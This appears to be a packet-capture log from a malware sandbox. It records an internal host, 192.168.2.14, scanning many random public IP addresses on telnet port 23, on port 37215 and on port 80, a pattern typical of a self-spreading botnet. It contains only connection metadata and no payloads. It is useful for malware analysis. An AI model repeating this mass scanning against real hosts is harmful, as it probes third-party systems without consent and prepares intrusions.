Jan 30, 2025 10:43:03.386809111 CET	63367	23	192.168.2.14	76.183.31.179
Jan 30, 2025 10:43:03.386811972 CET	63367	23	192.168.2.14	149.105.113.185
Jan 30, 2025 10:43:03.386811972 CET	63367	23	192.168.2.14	151.86.149.207
Jan 30, 2025 10:43:03.386812925 CET	63367	23	192.168.2.14	190.154.141.82
Jan 30, 2025 10:43:03.386816978 CET	63367	23	192.168.2.14	43.116.130.27
Jan 30, 2025 10:43:03.386823893 CET	63367	23	192.168.2.14	126.63.186.103
Jan 30, 2025 10:43:03.386823893 CET	63367	23	192.168.2.14	175.96.219.44
Jan 30, 2025 10:43:03.386836052 CET	63367	23	192.168.2.14	172.135.141.165
Jan 30, 2025 10:43:03.386845112 CET	63367	23	192.168.2.14	78.233.55.53
Jan 30, 2025 10:43:03.386852026 CET	63367	23	192.168.2.14	204.223.15.218
Jan 30, 2025 10:43:03.386859894 CET	63367	23	192.168.2.14	223.42.182.182
Jan 30, 2025 10:43:03.386868000 CET	63367	23	192.168.2.14	104.88.90.33
Jan 30, 2025 10:43:03.386868954 CET	63367	23	192.168.2.14	119.147.101.181
Jan 30, 2025 10:43:03.386868954 CET	63367	23	192.168.2.14	152.111.126.118
Jan 30, 2025 10:43:03.386873007 CET	63367	23	192.168.2.14	134.27.87.141
Jan 30, 2025 10:43:03.386873960 CET	63367	23	192.168.2.14	166.26.109.131
Jan 30, 2025 10:43:03.386877060 CET	63367	23	192.168.2.14	135.225.255.144
Jan 30, 2025 10:43:03.386885881 CET	63367	23	192.168.2.14	180.197.72.38
Jan 30, 2025 10:43:03.386893034 CET	63367	23	192.168.2.14	44.67.237.129
Jan 30, 2025 10:43:03.386898994 CET	63367	23	192.168.2.14	181.220.24.57
Jan 30, 2025 10:43:03.386903048 CET	63367	23	192.168.2.14	175.144.164.255
Jan 30, 2025 10:43:03.386904955 CET	63367	23	192.168.2.14	36.71.182.183
Jan 30, 2025 10:43:03.386913061 CET	63367	23	192.168.2.14	53.101.74.234
Jan 30, 2025 10:43:03.386915922 CET	63367	23	192.168.2.14	202.14.237.1
Jan 30, 2025 10:43:03.386924028 CET	63367	23	192.168.2.14	41.25.152.83
Jan 30, 2025 10:43:03.386930943 CET	63367	23	192.168.2.14	68.133.255.94
Jan 30, 2025 10:43:03.386930943 CET	63367	23	192.168.2.14	136.103.194.205
Jan 30, 2025 10:43:03.386934996 CET	63367	23	192.168.2.14	58.238.212.50
Jan 30, 2025 10:43:03.386945963 CET	63367	23	192.168.2.14	204.193.33.78
Jan 30, 2025 10:43:03.386945963 CET	63367	23	192.168.2.14	83.61.234.245
Jan 30, 2025 10:43:03.386953115 CET	63367	23	192.168.2.14	165.132.234.6
Jan 30, 2025 10:43:03.386953115 CET	63367	23	192.168.2.14	25.56.164.204
Jan 30, 2025 10:43:03.386964083 CET	63367	23	192.168.2.14	143.231.187.6
Jan 30, 2025 10:43:03.386970043 CET	63367	23	192.168.2.14	196.246.25.191
Jan 30, 2025 10:43:03.386974096 CET	63367	23	192.168.2.14	118.205.177.62
Jan 30, 2025 10:43:03.386984110 CET	63367	23	192.168.2.14	171.237.108.159
Jan 30, 2025 10:43:03.386996031 CET	63367	23	192.168.2.14	13.235.60.182
Jan 30, 2025 10:43:03.386996031 CET	63367	23	192.168.2.14	220.89.79.61
Jan 30, 2025 10:43:03.386996031 CET	63367	23	192.168.2.14	34.180.254.216
Jan 30, 2025 10:43:03.387002945 CET	63367	23	192.168.2.14	43.202.87.237
Jan 30, 2025 10:43:03.387003899 CET	63367	23	192.168.2.14	179.30.41.19
Jan 30, 2025 10:43:03.387017965 CET	63367	23	192.168.2.14	160.32.240.101
Jan 30, 2025 10:43:03.387023926 CET	63367	23	192.168.2.14	76.56.218.223
Jan 30, 2025 10:43:03.387023926 CET	63367	23	192.168.2.14	190.7.227.32
Jan 30, 2025 10:43:03.387038946 CET	63367	23	192.168.2.14	78.98.80.65
Jan 30, 2025 10:43:03.387038946 CET	63367	23	192.168.2.14	51.44.67.43
Jan 30, 2025 10:43:03.387042046 CET	63367	23	192.168.2.14	170.211.166.151
Jan 30, 2025 10:43:03.387049913 CET	63367	23	192.168.2.14	32.168.16.158
Jan 30, 2025 10:43:03.387065887 CET	63367	23	192.168.2.14	99.105.135.94
Jan 30, 2025 10:43:03.387065887 CET	63367	23	192.168.2.14	115.158.233.156
Jan 30, 2025 10:43:03.387068033 CET	63367	23	192.168.2.14	97.207.57.232
Jan 30, 2025 10:43:03.387079000 CET	63367	23	192.168.2.14	9.49.208.208
Jan 30, 2025 10:43:03.387080908 CET	63367	23	192.168.2.14	74.228.64.248
Jan 30, 2025 10:43:03.387089968 CET	63367	23	192.168.2.14	87.74.253.250
Jan 30, 2025 10:43:03.387096882 CET	63367	23	192.168.2.14	73.194.114.114
Jan 30, 2025 10:43:03.387106895 CET	63367	23	192.168.2.14	179.66.121.234
Jan 30, 2025 10:43:03.387114048 CET	63367	23	192.168.2.14	141.29.247.151
Jan 30, 2025 10:43:03.387114048 CET	63367	23	192.168.2.14	14.107.245.185
Jan 30, 2025 10:43:03.387114048 CET	63367	23	192.168.2.14	165.91.151.122
Jan 30, 2025 10:43:03.387131929 CET	63367	23	192.168.2.14	93.98.180.63
Jan 30, 2025 10:43:03.387131929 CET	63367	23	192.168.2.14	151.121.46.179
Jan 30, 2025 10:43:03.387135029 CET	63367	23	192.168.2.14	78.70.227.92
Jan 30, 2025 10:43:03.387155056 CET	63367	23	192.168.2.14	94.57.144.53
Jan 30, 2025 10:43:03.387156963 CET	63367	23	192.168.2.14	179.106.3.198
Jan 30, 2025 10:43:03.387157917 CET	63367	23	192.168.2.14	110.100.53.182
Jan 30, 2025 10:43:03.387160063 CET	63367	23	192.168.2.14	223.194.152.238
Jan 30, 2025 10:43:03.387161016 CET	63367	23	192.168.2.14	184.250.251.140
Jan 30, 2025 10:43:03.387161016 CET	63367	23	192.168.2.14	43.122.143.127
Jan 30, 2025 10:43:03.387165070 CET	63367	23	192.168.2.14	135.13.232.181
Jan 30, 2025 10:43:03.387170076 CET	63367	23	192.168.2.14	166.208.58.183
Jan 30, 2025 10:43:03.387170076 CET	63367	23	192.168.2.14	166.18.224.2
Jan 30, 2025 10:43:03.387171030 CET	63367	23	192.168.2.14	18.161.11.91
Jan 30, 2025 10:43:03.387171984 CET	63367	23	192.168.2.14	50.183.186.145
Jan 30, 2025 10:43:03.387171984 CET	63367	23	192.168.2.14	159.156.204.45
Jan 30, 2025 10:43:03.387197971 CET	63367	23	192.168.2.14	110.23.18.248
Jan 30, 2025 10:43:03.387197971 CET	63367	23	192.168.2.14	202.42.230.64
Jan 30, 2025 10:43:03.387201071 CET	63367	23	192.168.2.14	193.22.97.133
Jan 30, 2025 10:43:03.387211084 CET	63367	23	192.168.2.14	139.106.18.3
Jan 30, 2025 10:43:03.387217999 CET	63367	23	192.168.2.14	59.38.144.88
Jan 30, 2025 10:43:03.387217999 CET	63367	23	192.168.2.14	140.15.238.65
Jan 30, 2025 10:43:03.387218952 CET	63367	23	192.168.2.14	222.185.44.62
Jan 30, 2025 10:43:03.387236118 CET	63367	23	192.168.2.14	179.140.16.98
Jan 30, 2025 10:43:03.387237072 CET	63367	23	192.168.2.14	196.99.21.121
Jan 30, 2025 10:43:03.387240887 CET	63367	23	192.168.2.14	193.13.95.239
Jan 30, 2025 10:43:03.387240887 CET	63367	23	192.168.2.14	18.97.185.171
Jan 30, 2025 10:43:03.387243986 CET	63367	23	192.168.2.14	144.78.216.196
Jan 30, 2025 10:43:03.387248039 CET	63367	23	192.168.2.14	8.241.137.178
Jan 30, 2025 10:43:03.387248993 CET	63367	23	192.168.2.14	48.239.72.7
Jan 30, 2025 10:43:03.387249947 CET	63367	23	192.168.2.14	223.103.85.75
Jan 30, 2025 10:43:03.387264013 CET	63367	23	192.168.2.14	19.107.24.13
Jan 30, 2025 10:43:03.387265921 CET	63367	23	192.168.2.14	221.11.161.105
Jan 30, 2025 10:43:03.387267113 CET	63367	23	192.168.2.14	154.7.49.238
Jan 30, 2025 10:43:03.387284040 CET	63367	23	192.168.2.14	181.206.142.99
Jan 30, 2025 10:43:03.387284994 CET	63367	23	192.168.2.14	140.72.229.8
Jan 30, 2025 10:43:03.387285948 CET	63367	23	192.168.2.14	219.139.39.213
Jan 30, 2025 10:43:03.387288094 CET	63367	23	192.168.2.14	126.206.191.153
Jan 30, 2025 10:43:03.390388966 CET	23	63367	146.15.169.166	192.168.2.14
Jan 30, 2025 10:43:03.390400887 CET	23	63367	125.123.164.107	192.168.2.14
Jan 30, 2025 10:43:03.390410900 CET	23	63367	46.74.206.95	192.168.2.14
Jan 30, 2025 10:43:03.390423059 CET	23	63367	168.123.160.4	192.168.2.14
Jan 30, 2025 10:43:03.390434027 CET	23	63367	88.45.15.84	192.168.2.14
Jan 30, 2025 10:43:03.390444994 CET	23	63367	188.83.9.201	192.168.2.14
Jan 30, 2025 10:43:03.390459061 CET	23	63367	182.140.62.139	192.168.2.14
Jan 30, 2025 10:43:03.390465975 CET	63367	23	192.168.2.14	125.123.164.107
Jan 30, 2025 10:43:03.390465975 CET	63367	23	192.168.2.14	168.123.160.4
Jan 30, 2025 10:43:03.390466928 CET	63367	23	192.168.2.14	46.74.206.95
Jan 30, 2025 10:43:03.390466928 CET	63367	23	192.168.2.14	146.15.169.166
Jan 30, 2025 10:43:03.390466928 CET	63367	23	192.168.2.14	88.45.15.84
Jan 30, 2025 10:43:03.390475035 CET	63367	23	192.168.2.14	188.83.9.201
Jan 30, 2025 10:43:03.390490055 CET	63367	23	192.168.2.14	182.140.62.139
Jan 30, 2025 10:43:03.390528917 CET	23	63367	156.153.50.95	192.168.2.14
Jan 30, 2025 10:43:03.390537977 CET	23	63367	170.255.89.39	192.168.2.14
Jan 30, 2025 10:43:03.390547037 CET	23	63367	168.193.129.140	192.168.2.14
Jan 30, 2025 10:43:03.390564919 CET	23	63367	97.194.204.147	192.168.2.14
Jan 30, 2025 10:43:03.390569925 CET	63367	23	192.168.2.14	156.153.50.95
Jan 30, 2025 10:43:03.390575886 CET	63367	23	192.168.2.14	170.255.89.39
Jan 30, 2025 10:43:03.390584946 CET	63367	23	192.168.2.14	168.193.129.140
Jan 30, 2025 10:43:03.390607119 CET	63367	23	192.168.2.14	97.194.204.147
Jan 30, 2025 10:43:03.390616894 CET	23	63367	94.150.223.3	192.168.2.14
Jan 30, 2025 10:43:03.390628099 CET	23	63367	13.72.126.28	192.168.2.14
Jan 30, 2025 10:43:03.390635967 CET	23	63367	14.47.191.140	192.168.2.14
Jan 30, 2025 10:43:03.390645981 CET	23	63367	36.192.29.235	192.168.2.14
Jan 30, 2025 10:43:03.390657902 CET	63367	23	192.168.2.14	94.150.223.3
Jan 30, 2025 10:43:03.390666962 CET	63367	23	192.168.2.14	13.72.126.28
Jan 30, 2025 10:43:03.390678883 CET	63367	23	192.168.2.14	14.47.191.140
Jan 30, 2025 10:43:03.390686989 CET	63367	23	192.168.2.14	36.192.29.235
Jan 30, 2025 10:43:03.403206110 CET	33038	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:03.407999992 CET	80	33038	63.179.229.61	192.168.2.14
Jan 30, 2025 10:43:03.408072948 CET	33038	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:03.408160925 CET	33038	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:03.413297892 CET	80	33038	63.179.229.61	192.168.2.14
Jan 30, 2025 10:43:03.413364887 CET	33038	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:03.435203075 CET	57722	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:03.435208082 CET	46120	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:03.435209990 CET	41840	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:03.440140963 CET	80	57722	192.36.128.195	192.168.2.14
Jan 30, 2025 10:43:03.440151930 CET	80	46120	20.190.13.119	192.168.2.14
Jan 30, 2025 10:43:03.440162897 CET	80	41840	107.102.56.208	192.168.2.14
Jan 30, 2025 10:43:03.440216064 CET	57722	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:03.440217018 CET	41840	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:03.440246105 CET	57722	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:03.440253973 CET	46120	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:03.440256119 CET	41840	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:03.440279961 CET	46120	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:03.445242882 CET	80	57722	192.36.128.195	192.168.2.14
Jan 30, 2025 10:43:03.445287943 CET	57722	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:03.445486069 CET	80	41840	107.102.56.208	192.168.2.14
Jan 30, 2025 10:43:03.445530891 CET	41840	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:03.445559978 CET	80	46120	20.190.13.119	192.168.2.14
Jan 30, 2025 10:43:03.445625067 CET	46120	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:03.467225075 CET	58682	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:03.467226982 CET	39068	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:03.467225075 CET	60188	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:03.472105980 CET	80	39068	8.228.23.204	192.168.2.14
Jan 30, 2025 10:43:03.472119093 CET	80	58682	109.161.22.103	192.168.2.14
Jan 30, 2025 10:43:03.472127914 CET	80	60188	23.12.102.222	192.168.2.14
Jan 30, 2025 10:43:03.472198009 CET	39068	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:03.472204924 CET	58682	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:03.472204924 CET	60188	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:03.472352982 CET	60188	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:03.472368002 CET	39068	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:03.472378016 CET	58682	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:03.477257013 CET	80	39068	8.228.23.204	192.168.2.14
Jan 30, 2025 10:43:03.477313042 CET	39068	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:03.477473974 CET	80	58682	109.161.22.103	192.168.2.14
Jan 30, 2025 10:43:03.477523088 CET	58682	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:03.477561951 CET	80	60188	23.12.102.222	192.168.2.14
Jan 30, 2025 10:43:03.477607012 CET	60188	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:04.105525017 CET	23	47348	153.215.19.51	192.168.2.14
Jan 30, 2025 10:43:04.105851889 CET	47348	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:04.106307030 CET	47980	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:04.106642962 CET	63367	23	192.168.2.14	160.170.69.1
Jan 30, 2025 10:43:04.106645107 CET	63367	23	192.168.2.14	194.204.74.57
Jan 30, 2025 10:43:04.106653929 CET	63367	23	192.168.2.14	46.78.153.7
Jan 30, 2025 10:43:04.106653929 CET	63367	23	192.168.2.14	40.158.134.20
Jan 30, 2025 10:43:04.106668949 CET	63367	23	192.168.2.14	182.172.56.137
Jan 30, 2025 10:43:04.106659889 CET	63367	23	192.168.2.14	89.128.8.105
Jan 30, 2025 10:43:04.106668949 CET	63367	23	192.168.2.14	145.242.183.68
Jan 30, 2025 10:43:04.106673002 CET	63367	23	192.168.2.14	166.149.172.215
Jan 30, 2025 10:43:04.106688023 CET	63367	23	192.168.2.14	76.229.159.132
Jan 30, 2025 10:43:04.106703997 CET	63367	23	192.168.2.14	53.40.60.197
Jan 30, 2025 10:43:04.106703997 CET	63367	23	192.168.2.14	152.18.154.94
Jan 30, 2025 10:43:04.106703997 CET	63367	23	192.168.2.14	92.93.5.46
Jan 30, 2025 10:43:04.106703997 CET	63367	23	192.168.2.14	109.167.158.94
Jan 30, 2025 10:43:04.106713057 CET	63367	23	192.168.2.14	115.135.125.0
Jan 30, 2025 10:43:04.106729984 CET	63367	23	192.168.2.14	167.150.199.141
Jan 30, 2025 10:43:04.106731892 CET	63367	23	192.168.2.14	42.132.55.235
Jan 30, 2025 10:43:04.106744051 CET	63367	23	192.168.2.14	122.130.51.98
Jan 30, 2025 10:43:04.106736898 CET	63367	23	192.168.2.14	217.216.137.85
Jan 30, 2025 10:43:04.106753111 CET	63367	23	192.168.2.14	59.40.143.116
Jan 30, 2025 10:43:04.106760979 CET	63367	23	192.168.2.14	113.236.191.249
Jan 30, 2025 10:43:04.106764078 CET	63367	23	192.168.2.14	25.196.210.32
Jan 30, 2025 10:43:04.106760979 CET	63367	23	192.168.2.14	80.139.229.205
Jan 30, 2025 10:43:04.106766939 CET	63367	23	192.168.2.14	9.114.26.45
Jan 30, 2025 10:43:04.106771946 CET	63367	23	192.168.2.14	181.220.246.52
Jan 30, 2025 10:43:04.106780052 CET	63367	23	192.168.2.14	50.145.61.31
Jan 30, 2025 10:43:04.106790066 CET	63367	23	192.168.2.14	88.157.184.149
Jan 30, 2025 10:43:04.106803894 CET	63367	23	192.168.2.14	155.235.139.215
Jan 30, 2025 10:43:04.106806993 CET	63367	23	192.168.2.14	69.253.158.61
Jan 30, 2025 10:43:04.106806993 CET	63367	23	192.168.2.14	161.74.220.8
Jan 30, 2025 10:43:04.106806993 CET	63367	23	192.168.2.14	188.250.68.148
Jan 30, 2025 10:43:04.106815100 CET	63367	23	192.168.2.14	79.85.13.8
Jan 30, 2025 10:43:04.106829882 CET	63367	23	192.168.2.14	139.153.193.186
Jan 30, 2025 10:43:04.106829882 CET	63367	23	192.168.2.14	212.193.142.118
Jan 30, 2025 10:43:04.106829882 CET	63367	23	192.168.2.14	74.185.122.159
Jan 30, 2025 10:43:04.106837988 CET	63367	23	192.168.2.14	17.159.214.105
Jan 30, 2025 10:43:04.106837988 CET	63367	23	192.168.2.14	167.151.171.56
Jan 30, 2025 10:43:04.106841087 CET	63367	23	192.168.2.14	81.36.34.134
Jan 30, 2025 10:43:04.106842041 CET	63367	23	192.168.2.14	72.10.177.30
Jan 30, 2025 10:43:04.106842041 CET	63367	23	192.168.2.14	223.222.19.119
Jan 30, 2025 10:43:04.106852055 CET	63367	23	192.168.2.14	84.62.31.112
Jan 30, 2025 10:43:04.106864929 CET	63367	23	192.168.2.14	139.128.161.232
Jan 30, 2025 10:43:04.106864929 CET	63367	23	192.168.2.14	169.176.251.238
Jan 30, 2025 10:43:04.106874943 CET	63367	23	192.168.2.14	12.43.15.39
Jan 30, 2025 10:43:04.106882095 CET	63367	23	192.168.2.14	97.32.67.68
Jan 30, 2025 10:43:04.106889009 CET	63367	23	192.168.2.14	4.155.245.166
Jan 30, 2025 10:43:04.106889009 CET	63367	23	192.168.2.14	182.188.193.249
Jan 30, 2025 10:43:04.106904030 CET	63367	23	192.168.2.14	196.112.137.89
Jan 30, 2025 10:43:04.106909037 CET	63367	23	192.168.2.14	211.216.211.79
Jan 30, 2025 10:43:04.106913090 CET	63367	23	192.168.2.14	183.45.104.111
Jan 30, 2025 10:43:04.106925964 CET	63367	23	192.168.2.14	171.155.43.199
Jan 30, 2025 10:43:04.106928110 CET	63367	23	192.168.2.14	132.7.100.38
Jan 30, 2025 10:43:04.106935978 CET	63367	23	192.168.2.14	159.18.124.138
Jan 30, 2025 10:43:04.106941938 CET	63367	23	192.168.2.14	13.152.80.101
Jan 30, 2025 10:43:04.106951952 CET	63367	23	192.168.2.14	52.59.117.151
Jan 30, 2025 10:43:04.106964111 CET	63367	23	192.168.2.14	116.136.196.38
Jan 30, 2025 10:43:04.106971979 CET	63367	23	192.168.2.14	85.7.63.20
Jan 30, 2025 10:43:04.106976986 CET	63367	23	192.168.2.14	184.70.76.112
Jan 30, 2025 10:43:04.106997013 CET	63367	23	192.168.2.14	115.215.36.30
Jan 30, 2025 10:43:04.106997013 CET	63367	23	192.168.2.14	133.112.145.97
Jan 30, 2025 10:43:04.107000113 CET	63367	23	192.168.2.14	103.123.201.180
Jan 30, 2025 10:43:04.107000113 CET	63367	23	192.168.2.14	70.212.134.49
Jan 30, 2025 10:43:04.107002020 CET	63367	23	192.168.2.14	41.250.167.7
Jan 30, 2025 10:43:04.107000113 CET	63367	23	192.168.2.14	192.182.146.202
Jan 30, 2025 10:43:04.107013941 CET	63367	23	192.168.2.14	43.121.39.132
Jan 30, 2025 10:43:04.107017040 CET	63367	23	192.168.2.14	9.76.193.1
Jan 30, 2025 10:43:04.107033968 CET	63367	23	192.168.2.14	186.147.73.79
Jan 30, 2025 10:43:04.107033968 CET	63367	23	192.168.2.14	185.224.75.148
Jan 30, 2025 10:43:04.107034922 CET	63367	23	192.168.2.14	59.27.239.126
Jan 30, 2025 10:43:04.107047081 CET	63367	23	192.168.2.14	101.4.58.158
Jan 30, 2025 10:43:04.107047081 CET	63367	23	192.168.2.14	80.123.147.192
Jan 30, 2025 10:43:04.107047081 CET	63367	23	192.168.2.14	147.52.217.127
Jan 30, 2025 10:43:04.107049942 CET	63367	23	192.168.2.14	107.251.1.254
Jan 30, 2025 10:43:04.107063055 CET	63367	23	192.168.2.14	222.204.58.9
Jan 30, 2025 10:43:04.107072115 CET	63367	23	192.168.2.14	193.7.214.199
Jan 30, 2025 10:43:04.107072115 CET	63367	23	192.168.2.14	60.50.195.47
Jan 30, 2025 10:43:04.107083082 CET	63367	23	192.168.2.14	80.61.186.133
Jan 30, 2025 10:43:04.107085943 CET	63367	23	192.168.2.14	206.121.10.65
Jan 30, 2025 10:43:04.107085943 CET	63367	23	192.168.2.14	118.152.209.201
Jan 30, 2025 10:43:04.107090950 CET	63367	23	192.168.2.14	204.139.5.237
Jan 30, 2025 10:43:04.107101917 CET	63367	23	192.168.2.14	24.246.228.111
Jan 30, 2025 10:43:04.107105017 CET	63367	23	192.168.2.14	102.125.243.141
Jan 30, 2025 10:43:04.107110023 CET	63367	23	192.168.2.14	120.152.29.205
Jan 30, 2025 10:43:04.107120991 CET	63367	23	192.168.2.14	137.83.84.17
Jan 30, 2025 10:43:04.107122898 CET	63367	23	192.168.2.14	138.188.5.192
Jan 30, 2025 10:43:04.107131958 CET	63367	23	192.168.2.14	79.54.200.55
Jan 30, 2025 10:43:04.107131958 CET	63367	23	192.168.2.14	45.217.12.83
Jan 30, 2025 10:43:04.107142925 CET	63367	23	192.168.2.14	146.157.60.222
Jan 30, 2025 10:43:04.107161999 CET	57382	37215	192.168.2.14	156.213.149.65
Jan 30, 2025 10:43:04.107163906 CET	39546	37215	192.168.2.14	156.83.177.40
Jan 30, 2025 10:43:04.107168913 CET	48142	37215	192.168.2.14	156.219.241.54
Jan 30, 2025 10:43:04.107170105 CET	33670	80	192.168.2.14	96.144.107.189
Jan 30, 2025 10:43:04.107170105 CET	43048	37215	192.168.2.14	197.136.191.103
Jan 30, 2025 10:43:04.107170105 CET	33914	37215	192.168.2.14	197.110.199.188
Jan 30, 2025 10:43:04.107175112 CET	60520	37215	192.168.2.14	197.149.252.27
Jan 30, 2025 10:43:04.107177019 CET	58430	37215	192.168.2.14	156.30.253.189
Jan 30, 2025 10:43:04.107178926 CET	35322	37215	192.168.2.14	41.211.211.207
Jan 30, 2025 10:43:04.107183933 CET	47108	37215	192.168.2.14	41.112.75.126
Jan 30, 2025 10:43:04.107187986 CET	45424	80	192.168.2.14	173.5.157.24
Jan 30, 2025 10:43:04.107188940 CET	40968	80	192.168.2.14	149.28.47.9
Jan 30, 2025 10:43:04.107189894 CET	39710	37215	192.168.2.14	156.198.8.184
Jan 30, 2025 10:43:04.107198000 CET	43494	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:04.107203960 CET	36896	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:04.107207060 CET	34656	37215	192.168.2.14	156.62.15.248
Jan 30, 2025 10:43:04.107208967 CET	42848	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:04.107215881 CET	36088	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:04.107215881 CET	43722	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:04.107224941 CET	49802	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:04.107227087 CET	39370	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:04.107233047 CET	41240	37215	192.168.2.14	156.225.22.253
Jan 30, 2025 10:43:04.107233047 CET	37734	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:04.107233047 CET	52950	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:04.107234955 CET	52798	37215	192.168.2.14	156.104.45.241
Jan 30, 2025 10:43:04.107234955 CET	52964	37215	192.168.2.14	156.130.242.158
Jan 30, 2025 10:43:04.107237101 CET	44264	37215	192.168.2.14	41.38.203.130
Jan 30, 2025 10:43:04.107245922 CET	52562	37215	192.168.2.14	156.83.97.125
Jan 30, 2025 10:43:04.107255936 CET	58744	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:04.107256889 CET	59718	37215	192.168.2.14	41.34.237.9
Jan 30, 2025 10:43:04.107256889 CET	35772	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:04.107258081 CET	60554	37215	192.168.2.14	156.1.4.40
Jan 30, 2025 10:43:04.107258081 CET	52512	37215	192.168.2.14	156.177.123.236
Jan 30, 2025 10:43:04.107258081 CET	39234	37215	192.168.2.14	156.194.175.161
Jan 30, 2025 10:43:04.107268095 CET	39276	37215	192.168.2.14	197.29.13.133
Jan 30, 2025 10:43:04.107276917 CET	46786	23	192.168.2.14	131.40.175.45
Jan 30, 2025 10:43:04.107276917 CET	59088	23	192.168.2.14	114.144.107.189
Jan 30, 2025 10:43:04.107281923 CET	37548	23	192.168.2.14	13.23.33.188
Jan 30, 2025 10:43:04.107281923 CET	60886	23	192.168.2.14	63.236.222.92
Jan 30, 2025 10:43:04.107281923 CET	48666	23	192.168.2.14	93.103.22.131
Jan 30, 2025 10:43:04.107285023 CET	56398	23	192.168.2.14	191.61.220.78
Jan 30, 2025 10:43:04.107289076 CET	35342	23	192.168.2.14	78.250.37.250
Jan 30, 2025 10:43:04.107305050 CET	44648	23	192.168.2.14	32.131.87.5
Jan 30, 2025 10:43:04.107305050 CET	39846	80	192.168.2.14	47.252.222.92
Jan 30, 2025 10:43:04.107306004 CET	34906	23	192.168.2.14	171.199.5.179
Jan 30, 2025 10:43:04.107306004 CET	48938	23	192.168.2.14	121.42.70.33
Jan 30, 2025 10:43:04.107321024 CET	63367	23	192.168.2.14	50.190.86.179
Jan 30, 2025 10:43:04.107322931 CET	63367	23	192.168.2.14	147.166.69.164
Jan 30, 2025 10:43:04.107331991 CET	63367	23	192.168.2.14	218.13.45.247
Jan 30, 2025 10:43:04.107340097 CET	63367	23	192.168.2.14	182.45.44.108
Jan 30, 2025 10:43:04.107343912 CET	63367	23	192.168.2.14	192.227.87.50
Jan 30, 2025 10:43:04.107347965 CET	63367	23	192.168.2.14	41.216.254.235
Jan 30, 2025 10:43:04.107357979 CET	63367	23	192.168.2.14	85.149.73.175
Jan 30, 2025 10:43:04.107362986 CET	63367	23	192.168.2.14	172.243.234.194
Jan 30, 2025 10:43:04.107371092 CET	63367	23	192.168.2.14	164.219.142.201
Jan 30, 2025 10:43:04.107373953 CET	63367	23	192.168.2.14	164.61.254.23
Jan 30, 2025 10:43:04.107374907 CET	63367	23	192.168.2.14	212.252.194.242
Jan 30, 2025 10:43:04.107376099 CET	63367	23	192.168.2.14	58.165.1.112
Jan 30, 2025 10:43:04.107379913 CET	63367	23	192.168.2.14	78.48.56.170
Jan 30, 2025 10:43:04.107387066 CET	63367	23	192.168.2.14	124.151.196.10
Jan 30, 2025 10:43:04.107400894 CET	63367	23	192.168.2.14	96.121.177.86
Jan 30, 2025 10:43:04.107400894 CET	63367	23	192.168.2.14	54.102.156.241
Jan 30, 2025 10:43:04.107402086 CET	63367	23	192.168.2.14	153.94.177.57
Jan 30, 2025 10:43:04.107403040 CET	63367	23	192.168.2.14	194.4.159.240
Jan 30, 2025 10:43:04.107405901 CET	63367	23	192.168.2.14	108.4.96.228
Jan 30, 2025 10:43:04.107405901 CET	63367	23	192.168.2.14	121.177.53.221
Jan 30, 2025 10:43:04.107408047 CET	63367	23	192.168.2.14	163.31.37.73
Jan 30, 2025 10:43:04.107413054 CET	63367	23	192.168.2.14	52.70.232.160
Jan 30, 2025 10:43:04.107419968 CET	63367	23	192.168.2.14	193.65.243.37
Jan 30, 2025 10:43:04.107429028 CET	63367	23	192.168.2.14	145.178.123.111
Jan 30, 2025 10:43:04.107429028 CET	63367	23	192.168.2.14	126.254.59.254
Jan 30, 2025 10:43:04.107429981 CET	63367	23	192.168.2.14	63.29.167.84
Jan 30, 2025 10:43:04.107429028 CET	63367	23	192.168.2.14	141.246.190.160
Jan 30, 2025 10:43:04.107435942 CET	63367	23	192.168.2.14	80.5.43.217
Jan 30, 2025 10:43:04.107439995 CET	63367	23	192.168.2.14	165.62.23.140
Jan 30, 2025 10:43:04.107440948 CET	63367	23	192.168.2.14	1.95.31.182
Jan 30, 2025 10:43:04.107453108 CET	63367	23	192.168.2.14	52.196.168.20
Jan 30, 2025 10:43:04.107455969 CET	63367	23	192.168.2.14	76.23.111.68
Jan 30, 2025 10:43:04.107459068 CET	63367	23	192.168.2.14	66.144.178.112
Jan 30, 2025 10:43:04.107462883 CET	63367	23	192.168.2.14	165.17.180.224
Jan 30, 2025 10:43:04.107462883 CET	63367	23	192.168.2.14	186.159.46.102
Jan 30, 2025 10:43:04.107462883 CET	63367	23	192.168.2.14	183.19.52.107
